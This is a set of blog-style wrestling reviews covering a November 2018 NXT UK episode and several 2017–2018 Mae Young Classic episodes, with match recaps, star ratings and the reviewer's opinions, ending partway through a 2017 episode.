IMG Credit: WWE

NXT UK
Date: November 21, 2018
Location: NEC Arena, Birmingham, England
Commentators: Vic Joseph, Nigel McGuinness

It’s time for another double shot as we continue to try and get through all the old tapings, even though there’s another taping scheduled for this weekend. Apparently I’m not allowed to complain about such things though so we’ll move on to what’s on tap this week, which includes to more first round matches in the Women’s Title tournament. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

NXT UK Women’s Title Tournament First Round: Xia Brookside vs. Rhea Ripley

Ripley throws her down by the face to start so Xia tries to grapple her down as well. The hurricanrana is countered into a buckle bomb though as the much smaller Brookside can’t do much with the much bigger Ripley. A delayed suplex and a dropkick to the back of the head give Ripley two and it’s off to a standing Texas Cloverleaf. Brookside fights up and snaps off a headscissors before going up top. The high crossbody is countered into the Riptide to give Ripley the pin at 5:14.

Rating: D+. Just a step above a squash here with Ripley looking dominant. That’s not at all surprising as WWE clearly thinks something of her and wants her to be a big deal. She’s got the stuff to be a big deal and pushing her makes a lot of sense. Brookside certainly has potential with a good look and natural abilities but at 20 years old, she needs some experience. There’s nothing wrong with that and I’m sure she’ll be around in the future.

James Drake and Zack Gibson have known each other for a long time and no team can challenge them. Last week was just a friend helping a friend. This interview is over.

We look back at Wolfgang and the Coffey Brothers attacking Moustache Mountain last week. The beating continued after the show ended with Trent Seven’s leg being crushed under an anvil case.

Eddie Dennis vs. Jack Starz

The fans are behind Dennis, who is nearly a foot taller than Starz. Dennis takes him to the ropes to start and blasts Starz with a forearm to the face. Some choking keeps Starz in trouble and a spinning Rock Bottom backbreaker gets two. Starz actually tells him to bring it on and hits some uppercuts. That just earns him a Razor’s Edge buckle bomb though and the lifting inverted DDT is good for the pin on Starz at 3:19.

Rating: D. Starz got in more offense than he should here but I still like Dennis’ work. He looks like a monster and has a better backstory than most around here, which is something that helps him stand apart. If nothing else just having his size is going to make him that much more interesting. Just a squash here for the most part though, with Dennis dominating.

Next week: Tyson T-Bone vs. Dave Mastiff.

Mark Andrews vs. Mike Hitchman

Back in and Hitchman scores with a half and half suplex and a running backsplash (he loves that move) in the corner for two. A frog splash misses but Hitchman turns him upside down off a clothesline. That just earns him Stundog Millionaire and the shooting star (headbutt version) gives Andrews the pin at 5:27.

Eddie Dennis is happy to be undefeated when Ashton Smith comes in to say he could handle Dennis. That sends Dennis over the edge so he promises to take care of Smith.

NXT UK Women’s Title Tournament First Round: Isla Dawn vs. Toni Storm

Dawn dropkicks her into the corner at the bell and hits a belly to back suplex for two. Toni is rocked early and some elbows to the face make things even worse. Some forearms have no effect on Dawn, who scores with a pair of jumping knees to the face for two. The Rings of Saturn go on and Toni has to turn around several ways to finally get to the rope for the break. Dawn talks some trash and gets kicked in the face, followed by a running hip attack in the corner. A hard German suplex sets up Storm Zero for the pin on Dawn at 4:06.

Rating: C+. That was short but Dawn looked way better than she has in a long time. She beat up the much bigger star for a few minutes, which is quite the feat in a match that should be the most obvious ending on this show so far. You know Storm is getting a deep run in this thing after winning the Mae Young Classic so the win wasn’t exactly in doubt, but it was still cool to see Dawn make a go of it.

Storm helps her up.

Here are the semifinals, which will take place next week:

Toni Storm

Jinny

Rhea Ripley

Dakota Kai

Not bad at all.

Jordan Devlin vs Ligero

Feeling out process to start with Ligero working on the wrist and armdragging him to the mat into a rollup. That earns him a SI chant, even though Ligero is from England. A headscissors down gets two and we get what sounds like an Elite chant. Devlin is right back with a release Rock Bottom into a standing moonsault for two and it’s off to a neck crank. Back up and a heck of a back elbow gets two on Ligero and Devlin says Ligero isn’t on his level.

A crossbody gets Ligero out of trouble but Devlin grabs his leg in a smart move. Ligero knees his way out of a suplex and gets two off a Code Red. That’s enough of this nearly getting pinned thing for Devlin, who knees him hard in the mask. In a cool spot, Devlin pulls him up from the mat into a belly to back suplex, all in one motion with a hard landing. Ligero is somehow alive enough to send him to the floor for another headscissors and it’s time to go back inside.

The top rope splash hits Devlin’s raised knees though and a Spanish Fly gets two with Devlin not believing the kickout. With nothing on the mat working, Devlin ties him up in the Tree of Woe for a double stomp but Ligero does a situp into a belly to back superplex. Now the top rope splash connects for two and they’re both down. They head to the apron for a slugout but Devlin sends him face first into the steps. That means a moonsault to the floor, followed by Ireland’s Call for the pin at 11:44.

Rating: B. I still don’t quite like Devlin as much as some do but he was looking solid here and Ligero was just a step behind him. I’m not entirely sure why Devlin felt the need to beat him up, but at least they had a good match to close out the show. Pete Dunne needs challengers and Devlin wouldn’t be bad as an option. Rather good match here, which is a good sign with none of the top stars involved.

Post match, Devlin calls out Pete Dunne to end the show.

Overall Rating: C+. This show got a lot better as it went on with some of the earlier stuff being pretty weak, but the last two matches were both strong with the main event being a quite good match. They’re starting to develop some stars around here, which has to be the case sooner rather than later because British Strong Style can only carry you so far. Good show here, as things are getting easier to watch.

Results

Rhea Ripley b. Xia Brookside – Riptide

Eddie Dennis b. Jack Starz – Lifting inverted DDT

Mark Andrews b. Mike Hitchman – Shooting star press

Toni Storm b. Isla Dawn – Storm Zero

Jordan Devlin b. Ligero – Ireland’s Call

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Mae Young Classic
Date: October 24, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Renee Young, Beth Phoenix, Michael Cole

It’s the final show as we’re up to the semifinals with four competitors left. This week we’ll have two big matches with Toni Storm facing Meiko Satomura and Rhea Ripley vs. Io Shirai. I’m not sure which of these two will be better, but either match could wind up being a heck of a showcase.  The winners move on to Evolution for the finals. Let’s get to it.

Here are last week’s results if you need a recap.

Both matches are semifinal matches.

We open with a recap of how the final four got here. Nox’s injury is still hard to watch.

Opening sequence.

Toni Storm knows Meiko Satomura is the best in the tournament and that she’ll need to wrestle her best match to win.

Satomura says they’ve fought before in Japan but it ended in a draw. She’s here to make the finals and nothing else is acceptable.

Meiko Satomura vs. Toni Storm

The fans are split, as you probably guessed. Toni’s wristlock doesn’t work to start so Satomura takes her down with a headlock. That’s reversed into another headlock but Satomura gets on top to put Storm in trouble again. The first few kicks wake Storm up a bit and a shoulder block has no effect either way. Storm is tired of this even stuff and kicks her hard in the chest for two. A few more shots keep Meiko in trouble and Storm goes back to the arm, only to get the tar kicked out of her.

Kicks to the chest and legs have Storm down and Meiko cranks on the leg in something like a seated reverse figure four. A rope is finally grabbed and Toni elbows her way out of a suplex. Meiko spinwheel kicks her down and the fans are right behind Satomura again. Toni grabs an STF and it takes a good while for Meiko to make it to the ropes. A good fisherman’s suplex gets two on Satomura and Toni knocks her to the floor for a big suicide dive.

Back in Toni kicks her in the face, only to be screamed at for her efforts. They trade kicks until Satomura plants her with a DDT. The Death Valley Driver gets two on Storm but Toni hits a hard German suplex. Storm Zero only gets two but Meiko blocks another and hits a Pele kick to the head. The step up Scorpion kick knocks Toni silly….for two. The fans were buying that as the finish and you can hear them being surprised by the kickout. Storm has had it though and hits a last gasp Storm Zero for the pin and the spot in the finals at 13:06.

Rating: B+. It took some time to get there but they were rocking at the end. I’m not sure what to think of the pick, as Satomura was clearly the top star in the tournament (at least in the fans’ eyes) but Storm is the kind of prospect that you have to push to the moon. You could have gone either way here and been right, but egads the kickout on that Scorpion kick was hard to ignore.

They both cry on the announcement as Meiko gets a LOUD thank you chant. Of course they hug, as they should. Kairi Sane comes in to present Storm with roses as HHH is on the stage to bow to Meiko. Storm can barely speak and can barely believe that she just won that match. She’s living her dream and thanks everyone for working so hard to get here.

Io Shirai is a high flier and wants to prove that she’s the best in the world.

Rhea Ripley is out to win and nothing more. She’s destroyed everyone and she’ll go it to Shirai as well.

Rhea Ripley vs. Io Shirai

Rhea doesn’t care for the respect part and shoves Shirai down to start. Shirai cartwheels into a backflip into a dropkick but Rhea faceplants her (looked like a backdrop that didn’t rotate enough) for two. We hit the seated abdominal stretch (Or is it an armbar?) to hold Shirai in place until she kicks her way out. That earns her a hard kick in the back as Ripley has been in control for most of the start.

Now it’s a seated abdominal stretch but Shirai fights up again, only to get pummeled with right hands. We hit a bodyscissors to keep Shirai down and a dropkick (again, impressive looking given the size discrepancy) gives Ripley two. A delayed vertical suplex gets two more and it’s back to the bodyscissors. Shirai turns over this time and forearms away, finally getting free.

Ripley is on her back but still rolls over and kicks Shirai in the ribs in a smart move. A pop up powerbomb is countered into a hurricanrana and Ripley bails outside for a breather. That means the big suicide dive and they’re both down on the ramp. Ripley gets back in and Shirai dives back in at nine, only to be pummeled by Ripley all over again. Rhea shouts that Shirai thinks she deserves it but can’t hit a suplex.

Instead Shirai scores with some palm strikes, followed by a 619. A missile dropkick gets two but Shirai gets caught on top, meaning a top rope superplex for a heck of a crash. Riptide is broken up though and Ripley is sent shoulder first into the ropes. That means a Meteora and the moonsault finally hits properly (with Cole calling it an Asai moonsault because he has to get something wrong) for the pin on Ripley at 12:53.

Rating: B. I can’t say I’m surprised here as Shirai has been treated as the mega star of the whole thing for the entire tournament. That being said though, she hasn’t been the most thrilling person in the world. The moonsault finally hit but the rest of her offense hasn’t been anything special. Ripley has grown up a lot in the last year but needs a lot of experience. To be fair though, she turned twenty two years old earlier this month. How much experience can she have?

HHH posts with Rhea on the stage while Kairi presents Shirai with the roses. Shirai shouts about being #1.

The announcers make their picks with Storm winning the vote 2-1.

Sane, HHH, Sara Amato, Storm and Shirai pose on stage to end the show.

Overall Rating: B+. This was one of those shows where you knew it would be good and then it was. The wrestling in both matches was very good and I’m looking forward to seeing the finals. It might have been nice to have a heel in the match, but it’s not like you can have Shirai lose before the finals, if at all. Very good show here, and a great tournament throughout.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Mae Young Classic
Date: October 17, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Michael Cole, Renee Young, Beth Phoenix

We’re in the final two episodes of the series and that means it’s time for the big names to start fighting each other. This week we have the quarterfinals and therefore should be looking at four matches, though there’s a chance that they’ll have two quarterfinal matches with the winners facing off later tonight. Actually that would make more sense so let’s get to it.

Here are last week’s results if you need a recap.

The opening recap looks at the first two rounds and previews the quarterfinals.

All matches are quarterfinal matches.

Opening sequence.

Lacey Lane is an underdog but the Cinderella story can continue.

Meiko Satomura wants to show the world what Japanese women’s wrestling is all about.

Meiko Satomura vs. Lacey Lane

The entrances now include graphics with names, finishers and styles for a more mainstream sports feel. Lane blocks a kick to start as the announcers try to find new ways to praise Satomura. Meiko blocks a kick of her own and shoves Lacey away. That’s not cool with Lane, so Meiko spin kicks her in the head (freaking ow man) to really get things going. Lane comes back with a legsweep and kick to the face of her own, followed by a low superkick for two.

Meiko BLASTS her in the head with another kick but she can’t get a cross armbreaker. A suplex drops Lane but she comes back with forearms in the corner. Lane scores with a running knee and a high crossbody gets two. That’s enough for Meiko, who kicks her in the head again and finishes with a Death Valley Driver at 4:34.

Rating: C-. Lane was trying here but there was no answer to those kicks to the head and there wasn’t much of a reason to believe that the upset was in the cards. Meiko is one of the top stars in the whole thing and whoever beats her is going to look like a giant killer. Lane will be fine and get a nice push in NXT, though she has a lot of work to do.

Io Shirai is an awesome high flier and one of the best wrestlers in the world.

Deonna Purrazzo is a young star who loves to hurt people’s arms.

Io Shirai vs. Deonna Purrazzo

They start slowly with Purrazzo shouldering her down. A headscissors doesn’t work as Shirai lands on her feet, followed by a dropkick into a nipup to put Deonna on the floor. There’s the suicide dive for two back inside, followed by a handspring double knee drop to the ribs for the same. A slingshot dropkick misses and it’s time for an exchange of rollups until Shirai hits a jumping double stomp.

Back up and Purrazzo trips her down for the basement dropkick and floats over into the Fujiwara armbar. That’s broken up and Shirai gets a quickly broken Crossface. A 619 into a missile dropkick gives Io two more but Purrazzo is right back up with some rolling German suplexes. The Fujiwara goes on again and Io’s hand goes up for the tap until she turns it over into the Crossface. That’s rolled through as well so Io knees her in the face and hits the running knees in the corner. The moonsault barely connects (Io’s arms slapped the chest and that’s it) to finish Purrazzo at 8:45.

Rating: B. They’ve booked Io very well in the tournament so far as she keeps having a harder and harder match to pull off. If she can ever hit the moonsault properly, everything will be fine. As it is now, she’s just having one very good match after another and this was no exception. Purrazzo is clearly a star in the making as she’s only 24 and looks more polished than most veterans with far more experience.

We get the show of respect, which is well deserved.

Tegan Nox tore her ACL just before last year’s tournament and is back to show how good she really can be.

Rhea Ripley is serious this year and ready to beat people.

Tegan Nox vs Rhea Ripley

The doctor comes in but Nox says she wants to go so Ripley chops away. Nox gets in some of her own but a dropkick cuts her off and the referee stops the match at 3:16. No rating due to the injury, which is apparently to her good knee. Nox, in tears: “I can’t do it again.” The place goes DEAD silent and it’s almost creepy.

The fans cheer for Tegan as she leaves and the announcers give what sounds like a heartfelt talk about what happened. Beth mentions that coming back with a brace on the knee might have affected her balance. That’s just terrible and I actually feel really sorry for her. No one deserves that. Even worse: word on the street is that she was supposed to be in the finals, if not win the whole thing outright.

Mia Yim is back to prove that she belongs here.

Toni Storm knows she’s the best in the world and is ready to prove it as well.

Mia Yim vs. Toni Storm

Mia has a bad hand coming in. Yim kicks her down to start and kicks her in the chest for good measure. Back up and Storm hits a big boot and a running knee in the corner. Storm snaps a suplex for two before stomping on the hand. The fans aren’t sure who to cheer for here and Yim fires off a kick to the arm to cut her down. We hit the chinlock for a bit, followed by a surfboard hold to make Storm scream.

That’s switched to a guillotine choke as this has been almost all Mia so far. Storm powers up into a spinebuster for the break but Mia is right back with more kicks to the chest. A series of strikes into a Pele kick gets two so Storm gets smart and kicks her in the bad hand. With Mia staggered, it’s a headbutt for the double knockdown.

They slap it out with Mia’s hand giving out, allowing Storm to hit a running hip attack in the corner. Storm Zero is countered into a hard Saito suplex for two and a powerbomb gets the same. Sole Food is blocked and Toni cranks on the hand. A German suplex into Storm Zero gives Storm the pin at 8:26.

Rating: B-. Another good outing here with Storm getting smart to pick up the win. The match was mainly Storm on defense but she went with the thinking to end it. Yim is already a star but Storm is the kind of person that could be the centerpiece of the division for a long, long time. She’s got the look, the talent, the attitude and above all else, the it factor. It’s easy to see why she’s getting pushed this hard this fast.

The semifinals:

Toni Storm

Meiko Satomura

Rhea Ripley

Io Shirai

A recap ends the show.

Overall Rating: B. It’s a good show but I can’t shake that Nox injury. It really is the kind of thing that shakes you up and her screaming that she can’t do it again is almost haunting. I really hope she can get back in the ring at some point, but with knees like that there’s only so much you can expect. The rest of the show was quite good and that’s a heck of a final four.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Mae Young Classic
Date: October 3, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Michael Cole, Renee Young, Beth Phoenix

We’re on to the second round now and that means things are going to start getting interesting. In this case we have the first instance of previous winners facing off, which should make for some good matchups. That’s the point of a tournament as you start getting to the better matches after you get to the halfway point. Let’s get to it.

Here are last week’s results if you need a recap.

All matches are second round matches.

We open with a quick recap of the first round to set things up for tonight.

Opening sequence.

Toni Storm is a rock star with a ton of attitude.

Hiroyo Matsumoto is still Lady Godzilla, but does she still love to have fun?

Toni Storm vs. Hiroyo Matsumoto

A lockup goes nowhere to start so Toni does a rather complicated spin to escape a wristlock. Toni’s wristlock keeps Matsumoto in trouble so they hit the mat with Matsumoto headscissoring her way out of trouble. Toni handwalks out so Matsumoto kicks her in the ribs to keep her in trouble. A Stunner over the middle rope puts Storm down again and a missile dropkick gets two.

The dueling chants begin but the LET’S GO TONI chants are pretty clearly winning out. Matsumoto chokes with a boot in the corner but Toni catches her with a German suplex. A fisherman’s suplex gets two and Toni slugs away but she has to backdrop her way out of a powerbomb attempt.

Matsumoto holds on though and puts on a half crab, which looks great on someone as tiny as Storm. Vader Bomb style double knees get two on Toni, who is right back with another German suplex. That’s fine with Matsumoto who scores with the Rock Drop for two of her own as Toni has to get a foot on the rope.

One heck of a clothesline puts Storm down again and Matsumoto loads up another, only to have Storm duck underneath and grab a bridging rollup to advance at 9:17. Nice move on the ending there with Matsumoto listening to the crowd’s chants of ONE MORE TIME instead of just going for the pin when she had it.

Rating: B. I had a good time with this and it’s an encouraging sign that Storm is getting this good in a hurry. Matsumoto is a hard hitter in her own right and has a great future, but Storm has superstar written all over her and there is no reason to believe she isn’t going to be a big time player for years to come.

Kacy Catanzaro is from American Ninja Warrior and can overcome her smaller size.

Rhea Ripley is ready to be a dominant force and is more serious than ever.

Kacy Catanzaro vs. Rhea Ripley

David vs. Goliath, as tends to be the case for Catanzaro. A shoulder puts Catanzaro down in short order so she tries a change of pace with the kicks to Ripley’s legs. Kacy gets sent to the apron where she dropkicks Ripley in the ribs, followed by a hurricanrana. That’s fine with Ripley, who drops her hard onto the ropes for two and starts slowing things down. Just to show off a bit, Ripley dropkicks her down for two, which looks rather odd/impressive given the size differential.

A basement dropkick gets one and the fans are split on this one too. Rhea hits a very delayed suplex and cranks on something like a Texas Cloverleaf, though she’s standing behind Kacy like an ankle lock. Back up and Kacy spins around her multiple times into a DDT, which is straight out of a Rey Mysterio match. If you can do something that only Mysterio can usually pull off, I think you have a future around here.

Rhea bails to the floor so Kacy hits a corkscrew plancha to keep things moving. Back in and Kacy completely botches a springboard missile dropkick so she tries again, this time jumping over the top to land on the middle and dropkick Rhea down. Rhea has had it with all the flips though and kicks her in the ribs, setting up Riptide for the pin at 7:04.

Rating: C+. Kacy is a crazy good athlete and some of the stuff she was doing out there was almost hard to believe. That being said, she’s also very new at this and clearly needs a lot of fine tuning. The look, charisma and athleticism are going to be more than enough to carry her though and that’s what matters. Ripley on the other hand is ready to be a star right now and that’s more than enough reason to send her forward here.

Lacey Lane is an underdog who scored an upset in the first round so she wants to continue her Cinderella story.

Taynara Conti is a black belt in judo who is ready to destroy Lacey.

Taynara Conti vs. Lacey Lane

Conti wastes no time in flipping her down and does it again, just to show Lane that she’s in over her head. Lacey is right back with a 619 for two and an elbow to the face. A missed charge in the corner allows Conti to pull her down by the long hair though and a few kicks to the chest have Lane in even more trouble. Conti is frustrated at the kickout so it’s off to a crazy eyed armbar for a few seconds.

Back up and Lane hits a clothesline and something like Sister Abigail for two of her own. That’s about it for Conti, who tries another flip but gets reversed into the crucifix bomb to give Lane another upset pin at 2:38. I don’t think I get the appeal of Lane but the Full Sail fans seemed to like her so it makes sense to push her again, though I’m not sure about having her go over someone like Conti.

Meiko Satomura wants to show the world strength.

Mercedes Martinez wants to make up for her loss last year with another big win here.

Meiko Satomura vs. Mercedes Martinez

Feeling out process to start with Meiko going into a wristlock for the very early control. That’s reversed into a slightly harder arm crank but Meiko takes her right down again and drops a knee to the chest for two. A double underhook neck crank keeps Martinez down until a suplex gives her two of her own. Meiko slaps on a headscissors on the mat and the announcers laugh a bit too much while talking about how to escape.

Mercedes smacks her in the face for the break and it’s time to slug it out. That goes to Martinez as she slams Meiko down and cranks on the leg for a bit. Some forearms in the corner have Meiko in trouble so she kicks Mercedes upside the head. A top rope crotching puts Meiko down again though and it’s a hanging swinging neckbreaker for two. Mercedes’ fisherman’s buster is reversed into a Fujiwara armbar until a few rolls get Mercedes to the ropes.

With the submissions not working, Meiko tries a frog splash for two instead. Mercedes snaps off a Saito suplex for two and they’re both down. Back up and Meiko spikes her with a DDT, followed by a second to set up a backflip knee to the ribs for a close two. Martinez is right back up with a big boot and the fisherman’s buster….for two. That earns a standing ovation and I can’t argue with that at all. A surfboard goes on but Mercedes can’t add a dragon sleeper, allowing Meiko to elbow her way out. Meiko kicks her in the face and a running kick to the back of the head is enough for the pin at 11:32.

Rating: A-. Well that was awesome and blows away almost anything else in the tournament so far. They beat the heck out of each other until Martinez couldn’t stand up any longer, which is often the best formula you can have. Satomura looked like a legend and Martinez was right there with her until the end. Great match and worth checking out for the reaction to that near fall alone.

Overall Rating: A. That’s easily the best episode of either tournament with an instant classic and another very good match to go with it. Throw in a very entertaining Catanzaro vs. Ripley match and there’s nothing bad here whatsoever. This is the kind of show that I’ve been waiting for from this thing and it was an incredible hour of wrestling. Now hopefully the rest can come close to this, though that’s hard to do.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Mae Young Classic
Date: September 5, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Michael Cole, Beth Phoenix, Renee Young

Well it worked the first time. This is the first episode of the second edition of the tournament and this year’s version is being shown a little differently. Instead of having big batches of four episodes at a time, it’s a weekly show every Wednesday after NXT, which is probably a better idea. I’ve done my best to avoid spoilers here so let’s get to it.

All matches are first round matches.

We open with a look at last week’s tournament, with Kairi Sane defeating Shayna Baszler in the finals. Various women talk about how important it is to win the second tournament.

Opening sequence.

The announcers welcome us to the show.

Zatara is a masked wrestler from Chile. She wants to show the world how great her country can be and says she’s smart.

Tegan Nox (better known as Nixon Newell) is from Wales and is influenced by Molly Holly, who did things no one else was doing. She was supposed to be involved last year but tore her ACL.

Tegan Nox vs. Zatara

They fight over a wristlock to start with Zatara’s kicks to the leg not keeping Nox down. A dropkick sends Zatara out to the floor and a slow motion 619 makes her duck. Back in and Zatara takes Nox down by the knee and puts on some cross between a Figure Four and an Indian deathlock. Nox dives over to the rope and limps/runs for an uppercut in the corner. A high crossbody gives Nox two but a missile dropkick sends her sprawling. Zatara misses a dropkick to the back though and a Shining Wizard gives Nox the pin at 6:11.

Rating: C. Not much of a match but Nox has all the star power she could ever need. This was a nice introduction to her and the story of being injured last year is really easy to get behind. Zatara was fine, though she felt a bit like a stock villain, especially with the mask. They didn’t do much here other than getting the tournament’s feet wet and that’s fine.

Ember Moon and Alexa Bliss are here.

Rhea Ripley is from Australia and is much more serious after losing last year.

MJ Jenkins has big hair, talks about herself in the third person and is from New York.

Rhea Ripley vs. MJ Jenkins

Ripley impressed me last year and has every tool that you could want in a future WWE star. Jenkins likes to shake her hips a lot and Ripley won’t shake hands. An early armdrag takes Ripley down but she dropkicks Jenkins to the floor. The fans are WAY behind Ripley here and a hard clothesline gets two. A delayed suplex gets two and the abdominal stretch, with an elbow to the ribs, has Jenkins in trouble.

The announcers talk about Ripley being a huge Miz fan, which they agree that Miz can never know about. Jenkins fights up (with Renee being VERY happy) with an elbow and shoulder block, followed by a roundhouse kick from the apron. A missile dropkick gets two on Ripley but she ducks another kick to the head, setting up a sitout pumphandle slam for the pin on Jenkins at 6:40.

Rating: C. Jenkins wasn’t bad here but much like the opener, it was clear who was getting the star push here and that’s the right way to go with something like this. Ripley is clearly going to be someone WWE wants to push the heck out of and when you have her size and look, there’s not much of a reason to disagree. It’s quite a change of pace from last year and hopefully we get to see more of her in the future.

Vanessa Kraven says she looks like a monster but has a sweet playful side.

Lacey Lane wants to prove how awesome women can be compared to men and she’s inspired by the Dudleys.

Lio Rush is here.

Vanessa Kraven vs. Lacey Lane

Lane is the hometown girl and Cole thinks she’s the wildcard pick to win the whole thing. You’ve seen five out of thirty two dude. Calm down. Kraven is 6’2 and 200lbs so she’s got quite the size advantage over the pretty small Lane. Lane has to move around to start but her crucifix attempt is shrugged off. Some forearms in the corner have no effect so Lane kicks her in the head for some more success. A double springboard wristdrag sends Kraven to the floor and Lane cartwheels on the apron to kick her in the head again.

That kind of offense can’t last forever though as Kraven catches her and drops Lane face first onto the apron. Back in and a cannonball crushes Lane for two, followed by an over the shoulder backbreaker to make things even worse. Lane kicks her way out and hits a jawbreaker into a low superkick. A spinning side slam gives Kraven two as the fans are behind Lane. It seems to work quite well as a quick crucifix bomb gives Lane the surprise pin at 4:50.

Rating: D+. I wasn’t feeling this one as Lane winning felt a little forced and I didn’t get behind her like the crowd did. It also didn’t help that the announcers kept pushing the David vs. Goliath story. Not terrible, but it wasn’t much to see and Lane feels like a rather manufactured feel good underdog story.

Natalya is thrilled to be here and picks Mia Yim or Io Shirai to win.

Meiko Satomura wrestled on Nitro when she was 16 and has never given up on her dream. Now she’s the grizzled veteran wanting one last shot.

Killer Kelly (who was on some of the UK specials) is from Portugal and has an MMA background which will carry her far.

Meiko Satomura vs. Killer Kelly

Satomura is a legend and Kelly was inspired by Kane. Meiko kicks at the leg to start as the announcers drool over her. Back up and a headlock keeps Kelly in trouble and works on the knee to keep an escaping Kelly down. The headlock goes on again but this time Kelly fights her way out for a bicycle kick. Satomura pulls her straight back down into a heck of an STF but Kelly is next to the ropes for the break, though she looks terrified.

Some hard kicks to the chest have Kelly in trouble and all she can do is take them. A suplex gives Kelly a breather so Meiko cartwheels into a double kick to the back. Meiko heads up top but Kelly catches her and pulls it down into a dragon sleeper in the Tree of Woe for a rather painful looking visual. A running basement dropkick sets up a fisherman’s suplex for two on Meiko as the fans think this is awesome. Fair enough actually. Back up and Meiko scores with a Pele kick and a hard Death Valley Driver for the pin at 7:40.

Rating: B-. Easily the match of the night here due to Satomura being treated as a legend (well deserved). That makes these things feel so much more important and it’s nice to see someone being presented as a top star. Kelly had some promise here but there was no way she was winning this one.

Overall Rating: C+. Perfectly watchable show, which is always the case for these shows. The tournament offers a look at some competition you haven’t seen before and that makes for some fun shows. It’s way too early to guess who is going to win the thing and that’s the point of a long form tournament like this. Good start though and this should be an easy watch every week.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Mae Young Classic Episode #6
Date: September 4, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s time to finish up the second round and get us down to the final eight. That means we have some big names facing some other big names on this show and that should be a lot of fun. I’ve managed to avoid as many spoilers as possible and it’s amazing how much more entertaining a show like this can be when that’s the case. Let’s get to it.

We open with the standard recap of the previous show and tonight’s preview.

Opening sequence.

We see Ronda Rousey and the Four Horsewomen arriving earlier. Gee I wonder who is making the finals.

Video on Toni Storm, who wants to fight and win.

Video on Lacey Evans, who is everything a modern woman is supposed to be.

Second Round: Toni Storm vs. Lacey Evans

They fight over a headlock to start with Toni getting the better of it. Lacey grabs one of her own with a fairly serious look on her face until a kick to the chest puts her down again. Storm tries a bit too flashy hip attack and gets rolled up for two for her efforts. A legsweep from the apron into a slingshot elbow gives Lacey two and it’s time to work on the arm.

Storm goes back to the strikes to get a breather and it’s a Backstabber (not a Codebreaker JR) to put Lacey down in the corner. Lacey comes back with a good looking swinging neckbreaker, only to walk into Strong Zero (modified White Noise onto the knee) to send Storm on at 5:08.

Rating: C-. I’m digging Storm (good look, strong enough work) so far as she’s got a bit of a charisma that is helping her stand out. Hopefully she’s sticking around for awhile as I could see her going somewhere with the right coaching. Evans’ gimmick is kind of odd as she has the serious military background but looks like one of the Andrews Sisters in the ring. I liked her when I saw her live but it’s not quite working this time.

Video on Mia Yim, who has been working specifically to be the best.

Video on Shayna Baszler, who has combat experience.

Second Round: Mia Yim vs. Shayna Baszler

Of note: Baszler, one of MMA’s Four Horsewomen, walks past Charlotte, Becky Lynch and Bayley with only a passing glance. An exchange of kicks naturally goes to Baszler (JR: “Some people enjoy going to the mall. I think she’d go to the mall just to beat people up.”) but Mia knocks her outside for a heck of a suicide dive. Back in and Baszler rolls some gutwrench suplexes for two but gets caught in the Tarantula (with JR calling Tajiri a handsome rascal).

An ankle lock cuts Mia off again but she’s right back with some strikes to the face for two. Not that it matters as Baszler knees her hard in the face for a knockdown and it’s right back to the ankle lock. Mia kicks her way to freedom and is able to powerbomb Baszler for two because ankle injuries aren’t a thing. Just in case you thought it was a thing, Mia tries a 450 but gets caught in a rear naked choke for the tap at 5:36.

Rating: B-. Lack of selling aside, I’m sad to see Mia go out so early. For a long time I never got her appeal but she grew on me a lot during the tournament. That being said, Baszler is someone they’re going to push very hard in this thing due to the Four Horsewomen affiliation. It would surprise me if we didn’t see a four on four match at Wrestlemania and that would be just fine.

Post match Shayna celebrates with her friends before going over to the wrestling Horsewomen to throw up the hand signs. Fans: “YES! YES! YES!”

Video on Dakota Kai, who is a fast striker. A striker? In a women’s wrestling tournament?

Video on Rhea Ripley, who is big and strong but young.

Second Round: Dakota Kai vs. Rhea Ripley

The much bigger Ripley works on a headlock before diving over Kai, who snaps off some armdrags. A dropkick sends Ripley into the corner before a running kick to the chest makes things even worse. Ripley gets sent outside and drops her face first onto the apron for another two. Some running knees to the chest give Ripley the same and frustration is setting in.

The full nelson slam is broken up by a kick to the head, followed by a running dropkick. One heck of a running kick to the face in the corner gives Kai two, only to have Ripley superkick her away. A northern lights suplex drops Kai for two more and Ripley looks stunned. They head up top with Ripley getting caught in the Tree of Woe for the top rope double stomp to send Kai on at 7:03.

Rating: B-. Another good match, though this only sends Kai on to be Sane’s latest victim. Ripley has every tool you could possibly need to be a huge star and I’m sure she’s going to be just fine down in developmental. Kai looked great as well and should be just fine if she sticks around with NXT. Good match here as Ripley continues to impress.

Video on Candice LeRae, who will give everything she has to win this.

